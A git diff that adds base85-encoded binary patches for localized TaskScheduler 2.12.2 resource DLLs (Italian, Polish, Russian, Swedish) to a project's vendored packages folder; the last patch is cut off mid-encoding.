a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..378ee8407d1607cac3dbba043329487fcdb1d76f GIT binary patch literal 10240 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..13adc830d9cf2d4e09e5184036471532d82cbe8f GIT binary patch literal 10240 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..753b93c0a976be915f1ac0918acb2c5aefe728e5 GIT binary patch literal 10752 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..ce6a4edfe7b0c4f4238671cd356d07fbda620668 GIT binary patch literal 9728 zcmeHMdvp|4n!g1JBs?-`0wfUeLW1KXH0e%|kOP<}NhXOr@?tz7R=O*lBGpxGRdq;! zXwI3{S(){LAdh87cUIyIj^naA#s|uvaad$Vl;dMv4?b4iWjMMDI_%7u#dUw*t*&%; zI%L@0vwzK0a;xsW-}`ZI)&08hru*1<##jp4H{US!44!nAiTl{MetKhDvcCP;sA_2Z6t{waf9Wp@xN{l}is 